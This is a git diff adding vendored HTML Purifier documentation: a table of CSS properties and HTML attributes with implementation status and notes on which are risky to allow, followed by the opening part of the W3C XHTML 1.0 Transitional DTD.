+<tr class="css1 impl-yes"><td>margin-*</td><td>COMPOSITE(&lt;length&gt;,
+ &lt;percentage&gt;, auto)</td></tr>
+<tr class="css1 impl-yes"><td>padding</td><td>MULTIPLE</td></tr>
+<tr class="css1 impl-yes"><td>padding-*</td><td>COMPOSITE(&lt;length&gt;(positive),
+ &lt;percentage&gt;(positive))</td></tr>
+<tr class="css1 impl-yes"><td>text-align</td><td>ENUM(left, right,
+ center, justify)</td></tr>
+<tr class="css1 impl-yes"><td>text-decoration</td><td>No blink (argh my eyes), not
+ enum, can be combined (composite sorta): underline, overline,
+ line-through</td></tr>
+<tr class="css1 impl-yes"><td>text-indent</td><td>COMPOSITE(&lt;length&gt;,
+ &lt;percentage&gt;)</td></tr>
+<tr class="css1 impl-yes"><td>text-transform</td><td>ENUM(capitalize, uppercase,
+ lowercase, none)</td></tr>
+<tr class="css1 impl-yes"><td>width</td><td>COMPOSITE(&lt;length&gt;,
+ &lt;percentage&gt;, auto), Interesting</td></tr>
+<tr class="css1 impl-yes"><td>word-spacing</td><td>COMPOSITE(&lt;length&gt;, auto),
+ IE 5 no support</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="2">Table</th></tr>
+<tr class="impl-yes"><td>border-collapse</td><td>ENUM(collapse, seperate)</td></tr>
+<tr class="impl-yes"><td>border-space</td><td>MULTIPLE</td></tr>
+<tr class="impl-yes"><td>caption-side</td><td>ENUM(top, bottom)</td></tr>
+<tr class="feature"><td>empty-cells</td><td>ENUM(show, hide), No IE support makes this useless,
+ possible fix with &amp;nbsp;? Unknown release milestone.</td></tr>
+<tr class="impl-yes"><td>table-layout</td><td>ENUM(auto, fixed)</td></tr>
+<tr class="impl-yes css1"><td>vertical-align</td><td>COMPOSITE(ENUM(baseline, sub,
+ super, top, text-top, middle, bottom, text-bottom), &lt;percentage&gt;,
+ &lt;length&gt;) Also applies to others with explicit height</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="2">Absolute positioning, unknown release milestone</th></tr>
+<tr class="danger impl-no"><td>bottom</td><td rowspan="4">Dangerous, must be non-negative to even be considered,
+ but it's still possible to arbitrarily position by running over.</td></tr>
+<tr class="danger impl-no"><td>left</td></tr>
+<tr class="danger impl-no"><td>right</td></tr>
+<tr class="danger impl-no"><td>top</td></tr>
+<tr class="impl-no"><td>clip</td><td>-</td></tr>
+<tr class="danger impl-no"><td>position</td><td>ENUM(static, relative, absolute, fixed)
+ relative not absolute?</td></tr>
+<tr class="danger impl-no"><td>z-index</td><td>Dangerous</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="2">Unknown</th></tr>
+<tr class="danger css1 impl-yes"><td>background-image</td><td>Dangerous</td></tr>
+<tr class="css1 impl-yes"><td>background-attachment</td><td>ENUM(scroll, fixed),
+ Depends on background-image</td></tr>
+<tr class="css1 impl-yes"><td>background-position</td><td>Depends on background-image</td></tr>
+<tr class="danger impl-no"><td>cursor</td><td>Dangerous but fluffy</td></tr>
+<tr class="danger impl-yes"><td>display</td><td>ENUM(...), Dangerous but interesting;
+ will not implement list-item, run-in (Opera only) or table (no IE);
+ inline-block has incomplete IE6 support and requires -moz-inline-box
+ for Mozilla. Unknown target milestone.</td></tr>
+<tr class="css1 impl-yes"><td>height</td><td>Interesting, why use it? Unknown target milestone.</td></tr>
+<tr class="danger css1 impl-yes"><td>list-style-image</td><td>Dangerous?</td></tr>
+<tr class="impl-no"><td>max-height</td><td rowspan="4">No IE 5/6</td></tr>
+<tr class="impl-no"><td>min-height</td></tr>
+<tr class="impl-no"><td>max-width</td></tr>
+<tr class="impl-no"><td>min-width</td></tr>
+<tr class="impl-no"><td>orphans</td><td>No IE support</td></tr>
+<tr class="impl-no"><td>widows</td><td>No IE support</td></tr>
+<tr><td>overflow</td><td>ENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.</td></tr>
+<tr><td>page-break-after</td><td>ENUM(auto, always, avoid, left, right),
+ IE 5.5/6 and Opera. Unknown target milestone.</td></tr>
+<tr><td>page-break-before</td><td>ENUM(auto, always, avoid, left, right),
+ Mostly supported. Unknown target milestone.</td></tr>
+<tr><td>page-break-inside</td><td>ENUM(avoid, auto), Opera only. Unknown target milestone.</td></tr>
+<tr class="impl-no"><td>quotes</td><td>May be dropped from CSS2, fairly useless for inline context</td></tr>
+<tr class="danger impl-yes"><td>visibility</td><td>ENUM(visible, hidden, collapse),
+ Dangerous</td></tr>
+<tr class="css1 feature impl-partial"><td>white-space</td><td>ENUM(normal, pre, nowrap, pre-wrap,
+ pre-line), Spotty implementation:
+ pre (no IE 5/6), <em>nowrap</em> (no IE 5, supported),
+ pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.</td></tr>
+</tbody>
+
+<tbody class="impl-no">
+<tr><th colspan="2">Aural</th></tr>
+<tr><td>azimuth</td><td>-</td></tr>
+<tr><td>cue</td><td>-</td></tr>
+<tr><td>cue-after</td><td>-</td></tr>
+<tr><td>cue-before</td><td>-</td></tr>
+<tr><td>elevation</td><td>-</td></tr>
+<tr><td>pause-after</td><td>-</td></tr>
+<tr><td>pause-before</td><td>-</td></tr>
+<tr><td>pause</td><td>-</td></tr>
+<tr><td>pitch-range</td><td>-</td></tr>
+<tr><td>pitch</td><td>-</td></tr>
+<tr><td>play-during</td><td>-</td></tr>
+<tr><td>richness</td><td>-</td></tr>
+<tr><td>speak-header</td><td>Table related</td></tr>
+<tr><td>speak-numeral</td><td>-</td></tr>
+<tr><td>speak-punctuation</td><td>-</td></tr>
+<tr><td>speak</td><td>-</td></tr>
+<tr><td>speech-rate</td><td>-</td></tr>
+<tr><td>stress</td><td>-</td></tr>
+<tr><td>voice-family</td><td>-</td></tr>
+<tr><td>volume</td><td>-</td></tr>
+</tbody>
+
+<tbody class="impl-no">
+<tr><th colspan="2">Will not implement</th></tr>
+<tr><td>content</td><td>Not applicable for inline styles</td></tr>
+<tr><td>counter-increment</td><td>Needs content, Opera only</td></tr>
+<tr><td>counter-reset</td><td>Needs content, Opera only</td></tr>
+<tr><td>direction</td><td>No support</td></tr>
+<tr><td>outline-color</td><td rowspan="4">IE Mac and Opera on outside,
+Mozilla on inside and needs -moz-outline, no IE support.</td></tr>
+ <tr><td>outline-style</td></tr>
+ <tr><td>outline-width</td></tr>
+ <tr><td>outline</td></tr>
+<tr><td>unicode-bidi</td><td>No support</td></tr>
+</tbody>
+
+</table>
+
+<h2>Interesting Attributes</h2>
+
+<table cellspacing="0">
+
+<thead>
+<tr><th>Attribute</th><th>Tags</th><th>Notes</th></tr>
+</thead>
+
+<!--
+<tr><th></th></tr>
+<tbody>
+<tr><td>-</td><td>-</td><td>-</td></tr>
+</tbody>
+-->
+
+<tbody>
+<tr><th colspan="3">CSS</th></tr>
+<tr class="impl-yes"><td>style</td><td>All</td><td>Parser is reasonably functional. Status here doesn't count individual properties.</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="3">Questionable</th></tr>
+<tr class="impl-no"><td>accesskey</td><td>A</td><td>May interfere with main interface</td></tr>
+<tr class="impl-no"><td>tabindex</td><td>A</td><td>May interfere with main interface</td></tr>
+<tr class="impl-yes"><td>target</td><td>A</td><td>Config enabled, only useful for frame layouts, disallowed in strict</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="3">Miscellaneous</th></tr>
+<tr><td>datetime</td><td>DEL, INS</td><td>No visible effect, ISO format</td></tr>
+<tr class="impl-yes"><td>rel</td><td>A</td><td>Largely user-defined: nofollow, tag (see microformats)</td></tr>
+<tr class="impl-yes"><td>rev</td><td>A</td><td>Largely user-defined: vote-*</td></tr>
+<tr class="feature"><td>axis</td><td>TD, TH</td><td>W3C only: No browser implementation</td></tr>
+<tr class="feature"><td>char</td><td>COL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TR</td><td>W3C only: No browser implementation</td></tr>
+<tr class="feature"><td>headers</td><td>TD, TH</td><td>W3C only: No browser implementation</td></tr>
+<tr class="impl-yes"><td>scope</td><td>TD, TH</td><td>W3C only: No browser implementation</td></tr>
+</tbody>
+
+<tbody class="impl-yes">
+<tr><th colspan="3">URI</th></tr>
+<tr><td rowspan="2">cite</td><td>BLOCKQUOTE, Q</td><td>For attribution</td></tr>
+ <tr><td>DEL, INS</td><td>Link to explanation why it changed</td></tr>
+<tr><td>href</td><td>A</td><td>-</td></tr>
+<tr><td>longdesc</td><td>IMG</td><td>-</td></tr>
+<tr class="required"><td>src</td><td>IMG</td><td>Required</td></tr>
+</tbody>
+
+<tbody>
+<tr><th colspan="3">Transform</th></tr>
+<tr class="impl-yes"><td rowspan="5">align</td><td>CAPTION</td><td>'caption-side' for top/bottom, 'text-align' for left/right</td></tr>
+ <tr class="impl-yes"><td>IMG</td><td rowspan="3">See specimens/html-align-to-css.html</td></tr>
+ <tr class="impl-yes"><td>TABLE</td></tr>
+ <tr class="impl-yes"><td>HR</td></tr>
+ <tr class="impl-yes"><td>H1, H2, H3, H4, H5, H6, P</td><td>Equivalent style 'text-align'</td></tr>
+<tr class="required impl-yes"><td>alt</td><td>IMG</td><td>Required, insert image filename if src is present or default invalid image text</td></tr>
+<tr class="impl-yes"><td rowspan="3">bgcolor</td><td>TABLE</td><td>Superset style 'background-color'</td></tr>
+ <tr class="impl-yes"><td>TR</td><td>Superset style 'background-color'</td></tr>
+ <tr class="impl-yes"><td>TD, TH</td><td>Superset style 'background-color'</td></tr>
+<tr class="impl-yes"><td>border</td><td>IMG</td><td>Equivalent style <code>border:[number]px solid</code></td></tr>
+<tr class="impl-yes"><td>clear</td><td>BR</td><td>Near-equiv style 'clear', transform 'all' into 'both'</td></tr>
+<tr class="impl-no"><td>compact</td><td>DL, OL, UL</td><td>Boolean, needs custom CSS class; rarely used anyway</td></tr>
+<tr class="required impl-yes"><td>dir</td><td>BDO</td><td>Required, insert ltr (or configuration value) if none</td></tr>
+<tr class="impl-yes"><td>height</td><td>TD, TH</td><td>Near-equiv style 'height', needs px suffix if original was in pixels</td></tr>
+<tr class="impl-yes"><td>hspace</td><td>IMG</td><td>Near-equiv styles 'margin-top' and 'margin-bottom', needs px suffix</td></tr>
+<tr class="impl-yes"><td>lang</td><td>*</td><td>Copy value to xml:lang</td></tr>
+<tr class="impl-yes"><td rowspan="2">name</td><td>IMG</td><td>Turn into ID</td></tr>
+ <tr class="impl-yes"><td>A</td><td>Turn into ID</td></tr>
+<tr class="impl-yes"><td>noshade</td><td>HR</td><td>Boolean, style 'border-style:solid;'</td></tr>
+<tr class="impl-yes"><td>nowrap</td><td>TD, TH</td><td>Boolean, style 'white-space:nowrap;' (not compat with IE5)</td></tr>
+<tr class="impl-yes"><td>size</td><td>HR</td><td>Near-equiv 'height', needs px suffix if original was pixels</td></tr>
+<tr class="required impl-yes"><td>src</td><td>IMG</td><td>Required, insert blank or default img if not set</td></tr>
+<tr class="impl-yes"><td>start</td><td>OL</td><td>Poorly supported 'counter-reset', allowed in loose, dropped in strict</td></tr>
+<tr class="impl-yes"><td rowspan="3">type</td><td>LI</td><td rowspan="3">Equivalent style 'list-style-type', different allowed values though. (needs testing)</td></tr>
+ <tr class="impl-yes"><td>OL</td></tr>
+ <tr class="impl-yes"><td>UL</td></tr>
+<tr class="impl-yes"><td>value</td><td>LI</td><td>Poorly supported 'counter-reset', allowed in loose, dropped in strict</td></tr>
+<tr class="impl-yes"><td>vspace</td><td>IMG</td><td>Near-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace</td></tr>
+<tr class="impl-yes"><td rowspan="2">width</td><td>HR</td><td rowspan="2">Near-equiv style 'width', needs px suffix if original was pixels</td></tr>
+ <tr class="impl-yes"><td>TD, TH</td></tr>
+</tbody>
+
+</table>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd
new file mode 100644
index 000000000..628f27ac5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd
@@ -0,0 +1,1201 @@
+<!--
+ Extensible HTML version 1.0 Transitional DTD
+
+ This is the same as HTML 4 Transitional except for
+ changes due to the differences between XML and SGML.
+
+ Namespace = http://www.w3.org/1999/xhtml
+
+ For further information, see: http://www.w3.org/TR/xhtml1
+
+ Copyright (c) 1998-2002 W3C (MIT, INRIA, Keio),
+ All Rights Reserved.
+
+ This DTD module is identified by the PUBLIC and SYSTEM identifiers:
+
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
+
+ $Revision: 1.2 $
+ $Date: 2002/08/01 18:37:55 $
+
+-->
+
+<!--================ Character mnemonic entities =========================-->
+
+<!ENTITY % HTMLlat1 PUBLIC
+ "-//W3C//ENTITIES Latin 1 for XHTML//EN"
+ "xhtml-lat1.ent">
+%HTMLlat1;
+
+<!ENTITY % HTMLsymbol PUBLIC
+ "-//W3C//ENTITIES Symbols for XHTML//EN"
+ "xhtml-symbol.ent">
+%HTMLsymbol;
+
+<!ENTITY % HTMLspecial PUBLIC
+ "-//W3C//ENTITIES Special for XHTML//EN"
+ "xhtml-special.ent">
+%HTMLspecial;
+
+<!--================== Imported Names ====================================-->
+
+<!ENTITY % ContentType "CDATA">
+ <!-- media type, as per [RFC2045] -->
+
+<!ENTITY % ContentTypes "CDATA">
+ <!-- comma-separated list of media types, as per [RFC2045] -->
+
+<!ENTITY % Charset "CDATA">
+ <!-- a character encoding, as per [RFC2045] -->
+
+<!ENTITY % Charsets "CDATA">
+ <!-- a space separated list of character encodings, as per [RFC2045] -->
+
+<!ENTITY % LanguageCode "NMTOKEN">
+ <!-- a language code, as per [RFC3066] -->
+
+<!ENTITY % Character "CDATA">
+ <!-- a single character, as per section 2.2 of [XML] -->
+
+<!ENTITY % Number "CDATA">
+ <!-- one or more digits -->
+
+<!ENTITY % LinkTypes "CDATA">
+ <!-- space-separated list of link types -->
+
+<!ENTITY % MediaDesc "CDATA">
+ <!-- single or comma-separated list of media descriptors -->
+
+<!ENTITY % URI "CDATA">
+ <!-- a Uniform Resource Identifier, see [RFC2396] -->
+
+<!ENTITY % UriList "CDATA">
+ <!-- a space separated list of Uniform Resource Identifiers -->
+
+<!ENTITY % Datetime "CDATA">
+ <!-- date and time information. ISO date format -->
+
+<!ENTITY % Script "CDATA">
+ <!-- script expression -->
+
+<!ENTITY % StyleSheet "CDATA">
+ <!-- style sheet data -->
+
+<!ENTITY % Text "CDATA">
+ <!-- used for titles etc. -->
+
+<!ENTITY % FrameTarget "NMTOKEN">
+ <!-- render in this frame -->
+
+<!ENTITY % Length "CDATA">
+ <!-- nn for pixels or nn% for percentage length -->
+
+<!ENTITY % MultiLength "CDATA">
+ <!-- pixel, percentage, or relative -->
+
+<!ENTITY % Pixels "CDATA">
+ <!-- integer representing length in pixels -->
+
+<!-- these are used for image maps -->
+
+<!ENTITY % Shape "(rect|circle|poly|default)">
+
+<!ENTITY % Coords "CDATA">
+ <!-- comma separated list of lengths -->
+
+<!-- used for object, applet, img, input and iframe -->
+<!ENTITY % ImgAlign "(top|middle|bottom|left|right)">
+
+<!-- a color using sRGB: #RRGGBB as Hex values -->
+<!ENTITY % Color "CDATA">
+
+<!-- There are also 16 widely known color names with their sRGB values:
+
+ Black = #000000 Green = #008000
+ Silver = #C0C0C0 Lime = #00FF00
+ Gray = #808080 Olive = #808000
+ White = #FFFFFF Yellow = #FFFF00
+ Maroon = #800000 Navy = #000080
+ Red = #FF0000 Blue = #0000FF
+ Purple = #800080 Teal = #008080
+ Fuchsia= #FF00FF Aqua = #00FFFF
+-->
+
+<!--=================== Generic Attributes ===============================-->
+
+<!-- core attributes common to most elements
+ id document-wide unique id
+ class space separated list of classes
+ style associated style info
+ title advisory title/amplification
+-->
+<!ENTITY % coreattrs
+ "id ID #IMPLIED
+ class CDATA #IMPLIED
+ style %StyleSheet; #IMPLIED
+ title %Text; #IMPLIED"
+ >
+
+<!-- internationalization attributes
+ lang language code (backwards compatible)
+ xml:lang language code (as per XML 1.0 spec)
+ dir direction for weak/neutral text
+-->
+<!ENTITY % i18n
+ "lang %LanguageCode; #IMPLIED
+ xml:lang %LanguageCode; #IMPLIED
+ dir (ltr|rtl) #IMPLIED"
+ >
+
+<!-- attributes for common UI events
+ onclick a pointer button was clicked
+ ondblclick a pointer button was double clicked
+ onmousedown a pointer button was pressed down
+ onmouseup a pointer button was released
+ onmousemove a pointer was moved onto the element
+ onmouseout a pointer was moved away from the element
+ onkeypress a key was pressed and released
+ onkeydown a key was pressed down
+ onkeyup a key was released
+-->
+<!ENTITY % events
+ "onclick %Script; #IMPLIED
+ ondblclick %Script; #IMPLIED
+ onmousedown %Script; #IMPLIED
+ onmouseup %Script; #IMPLIED
+ onmouseover %Script; #IMPLIED
+ onmousemove %Script; #IMPLIED
+ onmouseout %Script; #IMPLIED
+ onkeypress %Script; #IMPLIED
+ onkeydown %Script; #IMPLIED
+ onkeyup %Script; #IMPLIED"
+ >
+
+<!-- attributes for elements that can get the focus
+ accesskey accessibility key character
+ tabindex position in tabbing order
+ onfocus the element got the focus
+ onblur the element lost the focus
+-->
+<!ENTITY % focus
+ "accesskey %Character; #IMPLIED
+ tabindex %Number; #IMPLIED
+ onfocus %Script; #IMPLIED
+ onblur %Script; #IMPLIED"
+ >
+
+<!ENTITY % attrs "%coreattrs; %i18n; %events;">
+
+<!-- text alignment for p, div, h1-h6. The default is
+ align="left" for ltr headings, "right" for rtl -->
+
+<!ENTITY % TextAlign "align (left|center|right|justify) #IMPLIED">
+
+<!--=================== Text Elements ====================================-->
+
+<!ENTITY % special.extra
+ "object | applet | img | map | iframe">
+
+<!ENTITY % special.basic
+ "br | span | bdo">
+
+<!ENTITY % special
+ "%special.basic; | %special.extra;">
+
+<!ENTITY % fontstyle.extra "big | small | font | basefont">
+
+<!ENTITY % fontstyle.basic "tt | i | b | u
+ | s | strike ">
+
+<!ENTITY % fontstyle "%fontstyle.basic; | %fontstyle.extra;">
+
+<!ENTITY % phrase.extra "sub | sup">
+<!ENTITY % phrase.basic "em | strong | dfn | code | q |
+ samp | kbd | var | cite | abbr | acronym">
+
+<!ENTITY % phrase "%phrase.basic; | %phrase.extra;">
+
+<!ENTITY % inline.forms "input | select | textarea | label | button">
+
+<!-- these can occur at block or inline level -->
+<!ENTITY % misc.inline "ins | del | script">
+
+<!-- these can only occur at block level -->
+<!ENTITY % misc "noscript | %misc.inline;">
+
+<!ENTITY % inline "a | %special; | %fontstyle; | %phrase; | %inline.forms;">
+
+<!-- %Inline; covers inline or "text-level" elements -->
+<!ENTITY % Inline "(#PCDATA | %inline; | %misc.inline;)*">
+
+<!--================== Block level elements ==============================-->
+
+<!ENTITY % heading "h1|h2|h3|h4|h5|h6">
+<!ENTITY % lists "ul | ol | dl | menu | dir">
+<!ENTITY % blocktext "pre | hr | blockquote | address | center | noframes">
+
+<!ENTITY % block
+ "p | %heading; | div | %lists; | %blocktext; | isindex |fieldset | table">
+
+<!-- %Flow; mixes block and inline and is used for list items etc. -->
+<!ENTITY % Flow "(#PCDATA | %block; | form | %inline; | %misc;)*">
+
+<!--================== Content models for exclusions =====================-->
+
+<!-- a elements use %Inline; excluding a -->
+
+<!ENTITY % a.content
+ "(#PCDATA | %special; | %fontstyle; | %phrase; | %inline.forms; | %misc.inline;)*">
+
+<!-- pre uses %Inline excluding img, object, applet, big, small,
+ font, or basefont -->
+
+<!ENTITY % pre.content
+ "(#PCDATA | a | %special.basic; | %fontstyle.basic; | %phrase.basic; |
+ %inline.forms; | %misc.inline;)*">
+
+<!-- form uses %Flow; excluding form -->
+
+<!ENTITY % form.content "(#PCDATA | %block; | %inline; | %misc;)*">
+
+<!-- button uses %Flow; but excludes a, form, form controls, iframe -->
+
+<!ENTITY % button.content
+ "(#PCDATA | p | %heading; | div | %lists; | %blocktext; |
+ table | br | span | bdo | object | applet | img | map |
+ %fontstyle; | %phrase; | %misc;)*">
+
+<!--================ Document Structure ==================================-->
+
+<!-- the namespace URI designates the document profile -->
+
+<!ELEMENT html (head, body)>
+<!ATTLIST html
+ %i18n;
+ id ID #IMPLIED
+ xmlns %URI; #FIXED 'http://www.w3.org/1999/xhtml'
+ >
+
+<!--================ Document Head =======================================-->
+
+<!ENTITY % head.misc "(script|style|meta|link|object|isindex)*">
+
+<!-- content model is %head.misc; combined with a single
+ title and an optional base element in any order -->
+
+<!ELEMENT head (%head.misc;,
+ ((title, %head.misc;, (base, %head.misc;)?) |
+ (base, %head.misc;, (title, %head.misc;))))>
+
+<!ATTLIST head
+ %i18n;
+ id ID #IMPLIED
+ profile %URI; #IMPLIED
+ >
+
+<!-- The title element is not considered part of the flow of text.
+ It should be displayed, for example as the page header or
+ window title. Exactly one title is required per document.
+ -->
+<!ELEMENT title (#PCDATA)>
+<!ATTLIST title
+ %i18n;
+ id ID #IMPLIED
+ >
+
+<!-- document base URI -->
+
+<!ELEMENT base EMPTY>
+<!ATTLIST base
+ id ID #IMPLIED
+ href %URI; #IMPLIED
+ target %FrameTarget; #IMPLIED
+ >
+
+<!-- generic metainformation -->
+<!ELEMENT meta EMPTY>
+<!ATTLIST meta
+ %i18n;
+ id ID #IMPLIED
+ http-equiv CDATA #IMPLIED
+ name CDATA #IMPLIED
+ content CDATA #REQUIRED
+ scheme CDATA #IMPLIED
+ >
+
+<!--
+ Relationship values can be used in principle:
+
+ a) for document specific toolbars/menus when used
+ with the link element in document head e.g.
+ start, contents, previous, next, index, end, help
+ b) to link to a separate style sheet (rel="stylesheet")
+ c) to make a link to a script (rel="script")
+ d) by stylesheets to control how collections of
+ html nodes are rendered into printed documents
+ e) to make a link to a printable version of this document
+ e.g. a PostScript or PDF version (rel="alternate" media="print")
+-->
+
+<!ELEMENT link EMPTY>
+<!ATTLIST link
+ %attrs;
+ charset %Charset; #IMPLIED
+ href %URI; #IMPLIED
+ hreflang %LanguageCode; #IMPLIED
+ type %ContentType; #IMPLIED
+ rel %LinkTypes; #IMPLIED
+ rev %LinkTypes; #IMPLIED
+ media %MediaDesc; #IMPLIED
+ target %FrameTarget; #IMPLIED
+ >
+
+<!-- style info, which may include CDATA sections -->
+<!ELEMENT style (#PCDATA)>
+<!ATTLIST style
+ %i18n;
+ id ID #IMPLIED
+ type %ContentType; #REQUIRED
+ media %MediaDesc; #IMPLIED
+ title %Text; #IMPLIED
+ xml:space (preserve) #FIXED 'preserve'
+ >
+
+<!-- script statements, which may include CDATA sections -->
+<!ELEMENT script (#PCDATA)>
+<!ATTLIST script
+ id ID #IMPLIED
+ charset %Charset; #IMPLIED
+ type %ContentType; #REQUIRED
+ language CDATA #IMPLIED
+ src %URI; #IMPLIED
+ defer (defer) #IMPLIED
+ xml:space (preserve) #FIXED 'preserve'
+ >
+
+<!-- alternate content container for non script-based rendering -->
+
+<!ELEMENT noscript %Flow;>
+<!ATTLIST noscript
+ %attrs;
+ >
+
+<!--======================= Frames =======================================-->
+
+<!-- inline subwindow -->
+
+<!ELEMENT iframe %Flow;>
+<!ATTLIST iframe
+ %coreattrs;
+ longdesc %URI; #IMPLIED
+ name NMTOKEN #IMPLIED
+ src %URI; #IMPLIED
+ frameborder (1|0) "1"
+ marginwidth %Pixels; #IMPLIED
+ marginheight %Pixels; #IMPLIED
+ scrolling (yes|no|auto) "auto"
+ align %ImgAlign; #IMPLIED
+ height %Length; #IMPLIED
+ width %Length; #IMPLIED
+ >
+
+<!-- alternate content container for non frame-based rendering -->
+
+<!ELEMENT noframes %Flow;>
+<!ATTLIST noframes
+ %attrs;
+ >
+
+<!--=================== Document Body ====================================-->
+
+<!ELEMENT body %Flow;>
+<!ATTLIST body
+ %attrs;
+ onload %Script; #IMPLIED
+ onunload %Script; #IMPLIED
+ background %URI; #IMPLIED
+ bgcolor %Color; #IMPLIED
+ text %Color; #IMPLIED
+ link %Color; #IMPLIED
+ vlink %Color; #IMPLIED
+ alink %Color; #IMPLIED
+ >
+
+<!ELEMENT div %Flow;> <!-- generic language/style container -->
+<!ATTLIST div
+ %attrs;
+ %TextAlign;
+ >
+
+<!--=================== Paragraphs =======================================-->
+
+<!ELEMENT p %Inline;>
+<!ATTLIST p
+ %attrs;
+ %TextAlign;
+ >
+
+<!--=================== Headings =========================================-->
+
+<!--
+ There are six levels of headings from h1 (the most important)
+ to h6 (the least important).
+-->
+
+<!ELEMENT h1 %Inline;>
+<!ATTLIST h1
+ %attrs;
+ %TextAlign;
+ >
+
+<!ELEMENT h2 %Inline;>
+<!ATTLIST h2
+ %attrs;
+ %TextAlign;
+ >
+
+<!ELEMENT h3 %Inline;>
+<!ATTLIST h3
+ %attrs;
+ %TextAlign;
+ >
+
+<!ELEMENT h4 %Inline;>
+<!ATTLIST h4
+ %attrs;
+ %TextAlign;
+ >
+
+<!ELEMENT h5 %Inline;>
+<!ATTLIST h5
+ %attrs;
+ %TextAlign;
+ >
+
+<!ELEMENT h6 %Inline;>
+<!ATTLIST h6
+ %attrs;
+ %TextAlign;
+ >
+
+<!--=================== Lists ============================================-->
+
+<!-- Unordered list bullet styles -->
+
+<!ENTITY % ULStyle "(disc|square|circle)">
+
+<!-- Unordered list -->
+
+<!ELEMENT ul (li)+>
+<!ATTLIST ul
+ %attrs;
+ type %ULStyle; #IMPLIED
+ compact (compact) #IMPLIED
+ >
+
+<!-- Ordered list numbering style
+
+ 1 arabic numbers 1, 2, 3, ...
+ a lower alpha a, b, c, ...
+ A upper alpha A, B, C, ...
+ i lower roman i, ii, iii, ...
+ I upper roman I, II, III, ...
+
+ The style is applied to the sequence number which by default
+ is reset to 1 for the first list item in an ordered list.
+-->
+<!ENTITY % OLStyle "CDATA">
+
+<!-- Ordered (numbered) list -->
+
+<!ELEMENT ol (li)+>
+<!ATTLIST ol
+ %attrs;
+ type %OLStyle; #IMPLIED
+ compact (compact) #IMPLIED
+ start %Number; #IMPLIED
+ >
+
+<!-- single column list (DEPRECATED) -->
+<!ELEMENT menu (li)+>
+<!ATTLIST menu
+ %attrs;
+ compact (compact) #IMPLIED
+ >
+
+<!-- multiple column list (DEPRECATED) -->
+<!ELEMENT dir (li)+>
+<!ATTLIST dir
+ %attrs;
+ compact (compact) #IMPLIED
+ >
+
+<!-- LIStyle is constrained to: "(%ULStyle;|%OLStyle;)" -->
+<!ENTITY % LIStyle "CDATA">
+
+<!-- list item -->
+
+<!ELEMENT li %Flow;>
+<!ATTLIST li
+ %attrs;
+ type %LIStyle; #IMPLIED
+ value %Number; #IMPLIED
+ >
+
+<!-- definition lists - dt for term, dd for its definition -->
+
+<!ELEMENT dl (dt|dd)+>
+<!ATTLIST dl
+ %attrs;
+ compact (compact) #IMPLIED
+ >
+
+<!ELEMENT dt %Inline;>
+<!ATTLIST dt
+ %attrs;
+ >
+
+<!ELEMENT dd %Flow;>
+<!ATTLIST dd
+ %attrs;
+ >
+
+<!--=================== Address ==========================================-->
+
+<!-- information on author -->
+
+<!ELEMENT address (#PCDATA | %inline; | %misc.inline; | p)*>
+<!ATTLIST address
+ %attrs;
+ >
+
+<!--=================== Horizontal Rule ==================================-->
+
+<!ELEMENT hr EMPTY>
+<!ATTLIST hr
+ %attrs;
+ align (left|center|right) #IMPLIED
+ noshade (noshade) #IMPLIED
+ size %Pixels; #IMPLIED
+ width %Length; #IMPLIED
+ >
+
+<!--=================== Preformatted Text ================================-->
+
+<!-- content is %Inline; excluding
+ "img|object|applet|big|small|sub|sup|font|basefont" -->
+
+<!ELEMENT pre %pre.content;>
+<!ATTLIST pre
+ %attrs;
+ width %Number; #IMPLIED
+ xml:space (preserve) #FIXED 'preserve'
+ >
+
+<!--=================== Block-like Quotes ================================-->
+
+<!ELEMENT blockquote %Flow;>
+<!ATTLIST blockquote
+ %attrs;
+ cite %URI; #IMPLIED
+ >
+
+<!--=================== Text alignment ===================================-->
+
+<!-- center content -->
+<!ELEMENT center %Flow;>
+<!ATTLIST center
+ %attrs;
+ >
+
+<!--=================== Inserted/Deleted Text ============================-->
+
+<!--
+ ins/del are allowed in block and inline content, but its
+ inappropriate to include block content within an ins element
+ occurring in inline content.
+-->
+<!ELEMENT ins %Flow;>
+<!ATTLIST ins
+ %attrs;
+ cite %URI; #IMPLIED
+ datetime %Datetime; #IMPLIED
+ >
+
+<!ELEMENT del %Flow;>
+<!ATTLIST del
+ %attrs;
+ cite %URI; #IMPLIED
+ datetime %Datetime; #IMPLIED
+ >
+
+<!--================== The Anchor Element ================================-->
+
+<!-- content is %Inline; except that anchors shouldn't be nested -->
+
+<!ELEMENT a %a.content;>
+<!ATTLIST a
+ %attrs;
+ %focus;
+ charset %Charset; #IMPLIED
+ type %ContentType; #IMPLIED
+ name NMTOKEN #IMPLIED
+ href %URI; #IMPLIED
+ hreflang %LanguageCode; #IMPLIED
+ rel %LinkTypes; #IMPLIED
+ rev %LinkTypes; #IMPLIED
+ shape %Shape; "rect"
+ coords %Coords; #IMPLIED
+ target %FrameTarget; #IMPLIED
+ >
+
+<!--===================== Inline Elements ================================-->
+
+<!ELEMENT span %Inline;> <!-- generic language/style container -->
+<!ATTLIST span
+ %attrs;
+ >
+
+<!ELEMENT bdo %Inline;> <!-- I18N BiDi over-ride -->
+<!ATTLIST bdo
+ %coreattrs;
+ %events;
+ lang %LanguageCode; #IMPLIED
+ xml:lang %LanguageCode; #IMPLIED
+ dir (ltr|rtl) #REQUIRED
+ >
+
+<!ELEMENT br EMPTY> <!-- forced line break -->
+<!ATTLIST br
+ %coreattrs;
+ clear (left|all|right|none) "none"
+ >
+
+<!ELEMENT em %Inline;> <!-- emphasis -->
+<!ATTLIST em %attrs;>
+
+<!ELEMENT strong %Inline;> <!-- strong emphasis -->
